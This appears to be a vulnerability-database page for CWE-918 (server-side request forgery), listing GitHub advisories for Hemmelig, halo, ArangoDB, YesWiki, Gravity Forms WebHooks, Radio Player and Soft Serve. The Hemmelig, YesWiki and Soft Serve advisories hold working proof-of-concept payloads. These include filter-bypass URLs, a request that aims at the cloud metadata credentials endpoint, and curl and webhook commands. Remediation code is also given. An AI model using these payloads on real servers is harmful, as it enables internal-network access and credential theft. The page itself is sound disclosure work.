Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4615 vulnerabilities reference this CWE, most recent first.

GHSA-VVXF-WJ5W-6GJ5

Vulnerability from github – Published: 2025-12-29 21:31 – Updated: 2025-12-29 21:31
VLAI
Summary
hemmelig allows SSRF Filter bypass via Secret Request functionality
Details

Summary

A Server-Side Request Forgery (SSRF) filter bypass vulnerability exists in the webhook URL validation of the Secret Requests feature. The application attempts to block internal/private IP addresses but can be bypassed using DNS rebinding (e.g., localtest.me which resolves to 127.0.0.1) or open redirect services (e.g., httpbin.org/redirect-to). This allows an authenticated user to make the server initiate HTTP requests to internal network resources.

Details

The vulnerability exists in the isPublicUrl function located in /api/lib/utils.ts. The function validates webhook URLs against a blocklist of private IP patterns:

export const isPublicUrl = (url: string): boolean => {
    const parsed = new URL(url);
    const hostname = parsed.hostname.toLowerCase();

    const blockedPatterns = [
        /^localhost$/,
        /^127\.\d{1,3}\.\d{1,3}\.\d{1,3}$/,
        /^192\.168\.\d{1,3}\.\d{1,3}$/,
        // ... other patterns
    ];

    return !blockedPatterns.some((pattern) => pattern.test(hostname));
};

The validation is flawed because:

  1. DNS Rebinding Bypass: It only checks the hostname string, not the resolved IP address. Domains like localtest.me pass validation (not matching any blocked pattern) but resolve to 127.0.0.1.

  2. Open Redirect Bypass: External URLs like httpbin.org/redirect-to?url=http://127.0.0.1 pass validation since httpbin.org is a public domain. When the server follows the redirect, it connects to the internal address.

PoC

Optional: On the container that runs Hemmelig application, host a temporary port with the following command:

node -e "require('http').createServer((req,res)=>{console.log(req.method,req.url,req.headers);res.end('ok')}).listen(8080,()=>console.log('Listening on 8080'))"
  1. Log in as an user
  2. Switch to Secret Requests tab and create a new request
  3. When inside the request dialog, there are 2 possible payloads that can be used on the Webhook URL input to bypass SSRF
1. Using domain redirect: http://localtest.me:PORT
2. Using httpbin to perform a redirect: httpbin.org/redirect-to?url=http://127.0.0.1:PORT
  1. Open a new browser/tab and confirm the request by creating a secret. Upon clicking save, the port we hosted we receive a request. image

Otherwise, if the port doesn't exist, a similar error in the logs can be found:

Secret request webhook delivery failed after retries: TypeError: fetch failed
    at node:internal/deps/undici/undici:15845:13
    at process.processTicksAndRejections (node:internal/process/task_queues:103:5)
    at async sendSecretRequestWebhook (/app/api/routes/secret-requests.ts:58:34) {
  [cause]: Error: connect ECONNREFUSED 127.0.0.1:80
      at TCPConnectWrap.afterConnect [as oncomplete] (node:net:1637:16) {
    errno: -111,
    code: 'ECONNREFUSED',
    syscall: 'connect',
    address: '127.0.0.1',
    port: 80
  }
}

Impact

While the SSRF filter can be bypassed, the practical impact is limited because this is a Blind SSRF, there is no response reflected. But with certain technique like response-timing, the attackers can still indicate whether or not a port is opened.

Remediation

Replace hostname-based validation with IP resolution checking:

import { isIP } from 'is-ip';
import dns from 'dns/promises';

export const isPublicUrl = async (url: string): Promise<boolean> => {
    const parsed = new URL(url);
    const hostname = parsed.hostname;

    // Resolve hostname to IP
    let addresses: string[];
    try {
        if (isIP(hostname)) {
            addresses = [hostname];
        } else {
            addresses = await dns.resolve4(hostname).catch(() => []);
            const ipv6 = await dns.resolve6(hostname).catch(() => []);
            addresses = [...addresses, ...ipv6];
        }
    } catch {
        return false;
    }

    // Check resolved IPs against blocklist
    const privateRanges = [
        /^127\./,
        /^10\./,
        /^192\.168\./,
        /^172\.(1[6-9]|2\d|3[0-1])\./,
        /^169\.254\./,
        /^::1$/,
        /^fe80:/i,
        /^fc00:/i,
        /^fd/i,
    ];

    return addresses.length > 0 && !addresses.some(ip => 
        privateRanges.some(pattern => pattern.test(ip))
    );
};

Additionally, disable following redirects in the webhook fetch call or re-validate the URL after each redirect.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "hemmelig"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-69206"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-29T21:31:04Z",
    "nvd_published_at": "2025-12-29T16:15:44Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nA Server-Side Request Forgery (SSRF) filter bypass vulnerability exists in the webhook URL validation of the Secret Requests feature. The application attempts to block internal/private IP addresses but can be bypassed using DNS rebinding (e.g., `localtest.me` which resolves to `127.0.0.1`) or open redirect services (e.g., `httpbin.org/redirect-to`). This allows an authenticated user to make the server initiate HTTP requests to internal network resources.\n\n### Details\nThe vulnerability exists in the `isPublicUrl` function located in `/api/lib/utils.ts`. The function validates webhook URLs against a blocklist of private IP patterns:\n\n```typescript\nexport const isPublicUrl = (url: string): boolean =\u003e {\n    const parsed = new URL(url);\n    const hostname = parsed.hostname.toLowerCase();\n    \n    const blockedPatterns = [\n        /^localhost$/,\n        /^127\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$/,\n        /^192\\.168\\.\\d{1,3}\\.\\d{1,3}$/,\n        // ... other patterns\n    ];\n    \n    return !blockedPatterns.some((pattern) =\u003e pattern.test(hostname));\n};\n```\n\n**The validation is flawed because:**\n\n1. **DNS Rebinding Bypass**: It only checks the hostname string, not the resolved IP address. Domains like `localtest.me` pass validation (not matching any blocked pattern) but resolve to `127.0.0.1`.\n\n2. **Open Redirect Bypass**: External URLs like `httpbin.org/redirect-to?url=http://127.0.0.1` pass validation since `httpbin.org` is a public domain. When the server follows the redirect, it connects to the internal address.\n\n### PoC\nOptional: On the container that runs Hemmelig application, host a temporary port with the following command: \n```\nnode -e \"require(\u0027http\u0027).createServer((req,res)=\u003e{console.log(req.method,req.url,req.headers);res.end(\u0027ok\u0027)}).listen(8080,()=\u003econsole.log(\u0027Listening on 8080\u0027))\"\n```\n1. Log in as an user\n2. Switch to `Secret Requests` tab and create a new request\n3. When inside the request dialog, there are 2 possible payloads that can be used on the `Webhook URL` input to bypass SSRF\n```\n1. Using domain redirect: http://localtest.me:PORT\n2. Using httpbin to perform a redirect: httpbin.org/redirect-to?url=http://127.0.0.1:PORT\n```\n4. Open a new browser/tab and confirm the request by creating a secret. Upon clicking save, the port we hosted we receive a request. \n\u003cimg width=\"795\" height=\"310\" alt=\"image\" src=\"https://github.com/user-attachments/assets/95d559e5-ead2-4b5d-8e53-9ddec3416953\" /\u003e\n\nOtherwise, if the port doesn\u0027t exist, a similar error in the logs can be found:\n```\nSecret request webhook delivery failed after retries: TypeError: fetch failed\n    at node:internal/deps/undici/undici:15845:13\n    at process.processTicksAndRejections (node:internal/process/task_queues:103:5)\n    at async sendSecretRequestWebhook (/app/api/routes/secret-requests.ts:58:34) {\n  [cause]: Error: connect ECONNREFUSED 127.0.0.1:80\n      at TCPConnectWrap.afterConnect [as oncomplete] (node:net:1637:16) {\n    errno: -111,\n    code: \u0027ECONNREFUSED\u0027,\n    syscall: \u0027connect\u0027,\n    address: \u0027127.0.0.1\u0027,\n    port: 80\n  }\n}\n```\n### Impact\nWhile the SSRF filter can be bypassed, the practical impact is limited because this is a Blind SSRF, there is no response reflected. But with certain technique like response-timing, the attackers can still indicate whether or not a port is opened.\n\n### Remediation\nReplace hostname-based validation with IP resolution checking:\n```typescript\nimport { isIP } from \u0027is-ip\u0027;\nimport dns from \u0027dns/promises\u0027;\n\nexport const isPublicUrl = async (url: string): Promise\u003cboolean\u003e =\u003e {\n    const parsed = new URL(url);\n    const hostname = parsed.hostname;\n    \n    // Resolve hostname to IP\n    let addresses: string[];\n    try {\n        if (isIP(hostname)) {\n            addresses = [hostname];\n        } else {\n            addresses = await dns.resolve4(hostname).catch(() =\u003e []);\n            const ipv6 = await dns.resolve6(hostname).catch(() =\u003e []);\n            addresses = [...addresses, ...ipv6];\n        }\n    } catch {\n        return false;\n    }\n    \n    // Check resolved IPs against blocklist\n    const privateRanges = [\n        /^127\\./,\n        /^10\\./,\n        /^192\\.168\\./,\n        /^172\\.(1[6-9]|2\\d|3[0-1])\\./,\n        /^169\\.254\\./,\n        /^::1$/,\n        /^fe80:/i,\n        /^fc00:/i,\n        /^fd/i,\n    ];\n    \n    return addresses.length \u003e 0 \u0026\u0026 !addresses.some(ip =\u003e \n        privateRanges.some(pattern =\u003e pattern.test(ip))\n    );\n};\n```\nAdditionally, disable following redirects in the webhook fetch call or re-validate the URL after each redirect.",
  "id": "GHSA-vvxf-wj5w-6gj5",
  "modified": "2025-12-29T21:31:04Z",
  "published": "2025-12-29T21:31:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/HemmeligOrg/Hemmelig.app/security/advisories/GHSA-vvxf-wj5w-6gj5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69206"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HemmeligOrg/Hemmelig.app/commit/6c909e571d0797ee3bbd2c72e4eb767b57378228"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/HemmeligOrg/Hemmelig.app"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "hemmelig allows SSRF Filter bypass via Secret Request functionality"
}

GHSA-VW2V-VQM8-9F9G

Vulnerability from github – Published: 2026-04-30 18:30 – Updated: 2026-04-30 18:30
VLAI
Details

A Server-Side Request Forgery (SSRF) in the /plugins/-/install-from-uri endpoint of halo v2.22.14 allows authenticated attackers to scan internal resources via a crafted GET request.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-36756"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-30T16:16:42Z",
    "severity": "MODERATE"
  },
  "details": "A Server-Side Request Forgery (SSRF) in the /plugins/-/install-from-uri endpoint of halo v2.22.14 allows authenticated attackers to scan internal resources via a crafted GET request.",
  "id": "GHSA-vw2v-vqm8-9f9g",
  "modified": "2026-04-30T18:30:32Z",
  "published": "2026-04-30T18:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-36756"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Arron-bit/Vul_report/blob/main/halo/ssrf2/readme.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/halo-dev/halo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VW3J-XFJF-6RJ3

Vulnerability from github – Published: 2022-02-10 00:00 – Updated: 2022-02-10 00:00
VLAI
Details

In ArangoDB, versions v3.7.0 through v3.9.0-alpha.1 have a feature which allows downloading a Foxx service from a publicly available URL. This feature does not enforce proper filtering of requests performed internally, which can be abused by a highly-privileged attacker to perform blind SSRF and send internal requests to localhost.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-25939"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-02-09T13:15:00Z",
    "severity": "LOW"
  },
  "details": "In ArangoDB, versions v3.7.0 through v3.9.0-alpha.1 have a feature which allows downloading a Foxx service from a publicly available URL. This feature does not enforce proper filtering of requests performed internally, which can be abused by a highly-privileged attacker to perform blind SSRF and send internal requests to localhost.",
  "id": "GHSA-vw3j-xfjf-6rj3",
  "modified": "2022-02-10T00:00:31Z",
  "published": "2022-02-10T00:00:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25939"
    },
    {
      "type": "WEB",
      "url": "https://github.com/arangodb/arangodb/commit/d7b35a6884c6b2802d34d79fb2a79fb2c9ec2175"
    },
    {
      "type": "WEB",
      "url": "https://github.com/arangodb/arangodb/commit/d9b7f019d2435f107b19a59190bf9cc27d5f34dd"
    },
    {
      "type": "WEB",
      "url": "https://www.whitesourcesoftware.com/vulnerability-database/CVE-2021-25939"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-VW42-752G-5MRP

Vulnerability from github – Published: 2026-07-09 20:58 – Updated: 2026-07-09 20:58
VLAI
Summary
YesWiki has Unauthenticated Server-Side Request Forgery via ActivityPub `Signature.keyId`
Details

Summary

The POST /api/forms/{formId}/actor/inbox route - exposed publicly with acl:"public" - accepts an HTTP Signature header whose keyId parameter is a URL. HttpSignatureService::verifySignature() parses the header and immediately makes a server-side HTTP GET to that URL, before any cryptographic verification or URL validation. An unauthenticated remote attacker can therefore make YesWiki issue arbitrary outbound HTTP requests to any host the server can reach - internal services, cloud-metadata endpoints (169.254.169.254), intranet-only admin panels, etc. - and read enough back via timing and error-message oracles to scan ports, enumerate services, and (on a real cloud instance) reach IAM metadata.

The only deployment-side precondition is that ActivityPub be enabled on at least one Bazar form (bn_activitypub_enable = '1').

Details

Affected component

  • File: tools/bazar/services/HttpSignatureService.php
  • Method: HttpSignatureService::verifySignature(Request $request)
  • Sink: line 96
  • Route: tools/bazar/controllers/ApiController.php line 125@Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}})
// tools/bazar/services/HttpSignatureService.php  (v4.6.5 = origin/doryphore-dev HEAD,
// lines 83–100)
public function verifySignature(Request $request) {
    if (!$request->headers->has('Signature')) {
        throw new Exception('No signature');
    }

    $sigConf = parse_ini_string(
        strtr($request->headers->get('Signature'), ["," => "\n"])           // (a) attacker controls every field
    );

    if (!isset($sigConf['keyId'],$sigConf['algorithm'],$sigConf['headers'],$sigConf['signature'])) {
        throw new Exception('Malformed signature');
    }

    $response = $this->httpClient->request('GET', $sigConf['keyId'], [    // (b) SINK — no validation,
        'headers' => [ 'Accept' => 'application/ld+json']                 //     no allowlist, no scheme
    ]);                                                                  //     pinning, no IP filtering
    ...
}

The inbox controller calls verifySignature() before running any cryptography:

// tools/bazar/controllers/ApiController.php  (lines 125–145)
/** @Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}}) */
public function postFormActorInbox($formId, Request $request)
{
    $activityPubService   = $this->getService(ActivityPubService::class);
    $httpSignatureService = $this->getService(HttpSignatureService::class);

    $form = $this->getService(BazarListService::class)->getForms(['idtypeannonce' => $formId])[$formId];

    if ($activityPubService->isEnabled($form)) {
        $activity = json_decode($request->getContent(), true);

        $httpSignatureService->verifySignature($request);     // <-- SSRF fires here
        $activityPubService->processActivity($activity, $form);
        return new ApiResponse(null, Response::HTTP_OK, …);
    } else {
        throw new NotFoundHttpException();
    }
}

The flow is public ACL → enabled-form gate → unconditional outbound HTTP. The attacker controls only the keyId value and never has to produce a valid signature, because the outbound fetch is the very first thing that touches the network.

End-to-end attack chain

A single HTTP request, no session, no CSRF token, no captcha:

POST /?api/forms/1/actor/inbox HTTP/1.1
Host: target.example
Content-Type: application/activity+json
Signature: keyId="http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>",algorithm="rsa-sha256",headers="x",signature="y"

{}
  • The Symfony controller matches the route on formId=1.
  • ActivityPubService::isEnabled($form) returns true (set when the operator turned the feature on).
  • verifySignature() parses the header into a key-value array, finds keyId, and calls httpClient->request('GET', '<attacker URL>').
  • YesWiki's server now reaches out to whatever URL the attacker provided. The response body is parsed as JSON; if it doesn't contain publicKey.publicKeyPem the controller returns an HTTP 500 whose JSON body leaks the full exception message and stack trace, including the URL.

PoC

Pre Reqs

  • Yeswiki v4.6.5 lab image (Setup via podman)
  • ActivityPub enabled on the target form

For the rest of this document:

BASE="http://localhost:8085"
CTR="yeswiki-poc"

Before we start, make sure ActivityPub is enabled on the target form

podman exec "$CTR" mysql -uroot yeswiki -e \
    "SELECT bn_id_nature AS id, bn_label_nature AS form, bn_activitypub_enable AS ap
     FROM yeswiki_nature WHERE bn_id_nature = 1;"

Send the unauthenticated SSRF trigger:

TARGET="http://127.0.0.1:9999/aws-metadata?from=ssrf"

curl -s -X POST "${BASE}/?api/forms/1/actor/inbox" \
     -H "Content-Type: application/activity+json" \
     -H "Signature: keyId=\"${TARGET}\",algorithm=\"rsa-sha256\",headers=\"x\",signature=\"y\"" \
     -d '{}' \
     -w '\n  HTTP %{http_code}, elapsed=%{time_total}s\n'

You will get an error in response like this:

{"exceptionMessage":"Exception: Missing public key in /var/www/html/tools/bazar/services/HttpSignatureService.php:103\nStack trace:…"}
  HTTP 500, elapsed=0.15s

The 500 and the "Missing public key" exception are the signal the outbound fetch went all the way to the JSON parse — the listener returned {}, which contained no publicKey field, so the handler bailed after talking to the listener.

Tested with webhook: image

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "yeswiki/yeswiki"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.6.2"
            },
            {
              "fixed": "4.6.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52769"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-09T20:58:33Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\nThe `POST /api/forms/{formId}/actor/inbox` route - exposed publicly with `acl:\"public\"` - accepts an HTTP `Signature` header whose `keyId` parameter is a URL. `HttpSignatureService::verifySignature()` parses the header and **immediately makes a server-side HTTP GET** to that URL, **before** any cryptographic verification or URL validation. An unauthenticated remote attacker can therefore make YesWiki issue arbitrary outbound HTTP requests to any host the server can reach - internal services, cloud-metadata endpoints (`169.254.169.254`), intranet-only admin panels, etc. - and read enough back via timing and error-message oracles to scan ports, enumerate services, and (on a real cloud instance) reach IAM metadata.\n\nThe only deployment-side precondition is that **ActivityPub be enabled on at least one Bazar form** (`bn_activitypub_enable = \u00271\u0027`).\n\n## Details\n### Affected component\n\n* **File:** `tools/bazar/services/HttpSignatureService.php`\n* **Method:** `HttpSignatureService::verifySignature(Request $request)`\n* **Sink:** line **96**\n* **Route:** `tools/bazar/controllers/ApiController.php` line **125** \u2014 `@Route(\"/api/forms/{formId}/actor/inbox\", methods={\"POST\"}, options={\"acl\":{\"public\"}})`\n\n```php\n// tools/bazar/services/HttpSignatureService.php  (v4.6.5 = origin/doryphore-dev HEAD,\n// lines 83\u2013100)\npublic function verifySignature(Request $request) {\n    if (!$request-\u003eheaders-\u003ehas(\u0027Signature\u0027)) {\n        throw new Exception(\u0027No signature\u0027);\n    }\n\n    $sigConf = parse_ini_string(\n        strtr($request-\u003eheaders-\u003eget(\u0027Signature\u0027), [\",\" =\u003e \"\\n\"])           // (a) attacker controls every field\n    );\n\n    if (!isset($sigConf[\u0027keyId\u0027],$sigConf[\u0027algorithm\u0027],$sigConf[\u0027headers\u0027],$sigConf[\u0027signature\u0027])) {\n        throw new Exception(\u0027Malformed signature\u0027);\n    }\n\n    $response = $this-\u003ehttpClient-\u003erequest(\u0027GET\u0027, $sigConf[\u0027keyId\u0027], [    // (b) SINK \u2014 no validation,\n        \u0027headers\u0027 =\u003e [ \u0027Accept\u0027 =\u003e \u0027application/ld+json\u0027]                 //     no allowlist, no scheme\n    ]);                                                                  //     pinning, no IP filtering\n    ...\n}\n```\n\nThe inbox controller calls `verifySignature()` **before** running any cryptography:\n\n```php\n// tools/bazar/controllers/ApiController.php  (lines 125\u2013145)\n/** @Route(\"/api/forms/{formId}/actor/inbox\", methods={\"POST\"}, options={\"acl\":{\"public\"}}) */\npublic function postFormActorInbox($formId, Request $request)\n{\n    $activityPubService   = $this-\u003egetService(ActivityPubService::class);\n    $httpSignatureService = $this-\u003egetService(HttpSignatureService::class);\n\n    $form = $this-\u003egetService(BazarListService::class)-\u003egetForms([\u0027idtypeannonce\u0027 =\u003e $formId])[$formId];\n\n    if ($activityPubService-\u003eisEnabled($form)) {\n        $activity = json_decode($request-\u003egetContent(), true);\n\n        $httpSignatureService-\u003everifySignature($request);     // \u003c-- SSRF fires here\n        $activityPubService-\u003eprocessActivity($activity, $form);\n        return new ApiResponse(null, Response::HTTP_OK, \u2026);\n    } else {\n        throw new NotFoundHttpException();\n    }\n}\n```\n\nThe flow is **public ACL \u2192 enabled-form gate \u2192 unconditional outbound HTTP**. The attacker controls only the `keyId` value and never has to produce a valid signature, because the outbound fetch is the very first thing that touches the network.\n\n### End-to-end attack chain\n\nA single HTTP request, no session, no CSRF token, no captcha:\n\n```http\nPOST /?api/forms/1/actor/inbox HTTP/1.1\nHost: target.example\nContent-Type: application/activity+json\nSignature: keyId=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\u003crole\u003e\",algorithm=\"rsa-sha256\",headers=\"x\",signature=\"y\"\n\n{}\n```\n\n* The Symfony controller matches the route on `formId=1`.\n* `ActivityPubService::isEnabled($form)` returns true (set when the operator turned the feature on).\n* `verifySignature()` parses the header into a key-value array, finds `keyId`, and calls `httpClient-\u003erequest(\u0027GET\u0027, \u0027\u003cattacker URL\u003e\u0027)`.\n* YesWiki\u0027s server now reaches out to whatever URL the attacker provided. The response body is parsed as JSON; if it doesn\u0027t contain `publicKey.publicKeyPem` the controller returns an HTTP 500 whose JSON body **leaks the full exception message and stack trace**, including the URL.\n\n## PoC\n### Pre Reqs\n\n* Yeswiki v4.6.5 lab image (Setup via podman)\n* ActivityPub enabled on the target form\n\nFor the rest of this document:\n\n```bash\nBASE=\"http://localhost:8085\"\nCTR=\"yeswiki-poc\"\n```\n\nBefore we start, make sure ActivityPub is enabled on the target form\n\n```bash\npodman exec \"$CTR\" mysql -uroot yeswiki -e \\\n    \"SELECT bn_id_nature AS id, bn_label_nature AS form, bn_activitypub_enable AS ap\n     FROM yeswiki_nature WHERE bn_id_nature = 1;\"\n```\n\nSend the unauthenticated SSRF trigger:\n\n```bash\nTARGET=\"http://127.0.0.1:9999/aws-metadata?from=ssrf\"\n\ncurl -s -X POST \"${BASE}/?api/forms/1/actor/inbox\" \\\n     -H \"Content-Type: application/activity+json\" \\\n     -H \"Signature: keyId=\\\"${TARGET}\\\",algorithm=\\\"rsa-sha256\\\",headers=\\\"x\\\",signature=\\\"y\\\"\" \\\n     -d \u0027{}\u0027 \\\n     -w \u0027\\n  HTTP %{http_code}, elapsed=%{time_total}s\\n\u0027\n```\n\nYou will get an error in response like this: \n```json\n{\"exceptionMessage\":\"Exception: Missing public key in /var/www/html/tools/bazar/services/HttpSignatureService.php:103\\nStack trace:\u2026\"}\n  HTTP 500, elapsed=0.15s\n```\n\nThe `500` and the `\"Missing public key\"` exception are the **signal** the outbound fetch went all the way to the JSON parse \u2014 the listener returned `{}`, which contained no `publicKey` field, so the handler bailed *after* talking to the listener.\n\nTested with webhook:\n\u003cimg width=\"1473\" height=\"678\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6c720c68-3087-4e1a-b990-0a9f12ba8bbc\" /\u003e",
  "id": "GHSA-vw42-752g-5mrp",
  "modified": "2026-07-09T20:58:33Z",
  "published": "2026-07-09T20:58:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-vw42-752g-5mrp"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/YesWiki/yeswiki"
    },
    {
      "type": "WEB",
      "url": "http://github.com/YesWiki/yeswiki/commit/87e627f33e79879827a3669fee2aa1244612c487"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "YesWiki has Unauthenticated Server-Side Request Forgery via ActivityPub `Signature.keyId`"
}

GHSA-VWGF-9VCJ-W93C

Vulnerability from github – Published: 2025-05-01 06:30 – Updated: 2025-05-01 06:30
VLAI
Details

The Gravity Forms WebHooks plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.6.0 via the 'process_feed' method of the GF_Webhooks class This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-13845"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-01T05:15:51Z",
    "severity": "MODERATE"
  },
  "details": "The Gravity Forms WebHooks plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.6.0 via the \u0027process_feed\u0027 method of the GF_Webhooks class This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
  "id": "GHSA-vwgf-9vcj-w93c",
  "modified": "2025-05-01T06:30:27Z",
  "published": "2025-05-01T06:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13845"
    },
    {
      "type": "WEB",
      "url": "https://www.gravityforms.com/blog/brand-new-release-webhooks-add-on-1-7"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9311b20b-daad-408f-a1a0-d1e42573ab97?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VWGW-65GP-7F8Q

Vulnerability from github – Published: 2024-04-25 15:30 – Updated: 2026-04-28 21:34
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in SoftLab Radio Player.This issue affects Radio Player: from n/a through 2.0.73.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-33592"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-25T15:16:04Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in SoftLab Radio Player.This issue affects Radio Player: from n/a through 2.0.73.",
  "id": "GHSA-vwgw-65gp-7f8q",
  "modified": "2026-04-28T21:34:57Z",
  "published": "2024-04-25T15:30:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33592"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/radio-player/wordpress-radio-player-plugin-2-0-73-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VWQ2-JX9Q-9H9F

Vulnerability from github – Published: 2025-11-10 21:34 – Updated: 2025-11-15 02:51
VLAI
Summary
Soft Serve is vulnerable to SSRF through its Webhooks
Details

SUMMARY

We have identified and verified an SSRF vulnerability where webhook URLs are not validated, allowing repository administrators to create webhooks targeting internal services, private networks, and cloud metadata endpoints.

AFFECTED COMPONENTS (VERIFIED)

  1. Webhook Creation (pkg/ssh/cmd/webhooks.go:125)
  2. Backend CreateWebhook (pkg/backend/webhooks.go:17)
  3. Backend UpdateWebhook (pkg/backend/webhooks.go:122)
  4. Webhook Delivery (pkg/webhook/webhook.go:97)

IMPACT

This vulnerability allows repository administrators to perform SSRF attacks, potentially enabling:

a) Cloud Metadata Theft - Access AWS/Azure/GCP credentials via 169.254.169.254 b) Internal Network Access - Target localhost and private networks (10.x, 192.168.x, 172.16.x) c) Port Scanning - Enumerate internal services via response codes and timing d) Data Exfiltration - Full HTTP responses stored in webhook delivery logs e) Internal API Access - Call internal admin panels and Kubernetes endpoints

PROOF OF CONCEPT

Simple example demonstrating localhost access:

ssh localhost webhook create my-repo http://127.0.0.1:8080/internal \
    --events push --active

then push to trigger.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/charmbracelet/soft-serve"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-64522"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-10T21:34:44Z",
    "nvd_published_at": "2025-11-10T23:15:41Z",
    "severity": "CRITICAL"
  },
  "details": "SUMMARY\n\nWe have identified and verified an SSRF vulnerability where webhook URLs are not validated, allowing repository administrators to create webhooks targeting internal services, private networks, and cloud metadata endpoints.\n\n\nAFFECTED COMPONENTS (VERIFIED)\n\n1. Webhook Creation (pkg/ssh/cmd/webhooks.go:125)\n2. Backend CreateWebhook (pkg/backend/webhooks.go:17)\n3. Backend UpdateWebhook (pkg/backend/webhooks.go:122)\n4. Webhook Delivery (pkg/webhook/webhook.go:97)\n\nIMPACT\n\nThis vulnerability allows repository administrators to perform SSRF attacks, potentially enabling:\n\na) Cloud Metadata Theft - Access AWS/Azure/GCP credentials via 169.254.169.254\nb) Internal Network Access - Target localhost and private networks (10.x, 192.168.x, 172.16.x)\nc) Port Scanning - Enumerate internal services via response codes and timing\nd) Data Exfiltration - Full HTTP responses stored in webhook delivery logs\ne) Internal API Access - Call internal admin panels and Kubernetes endpoints\n\nPROOF OF CONCEPT\n\nSimple example demonstrating localhost access:\n\n```sh\nssh localhost webhook create my-repo 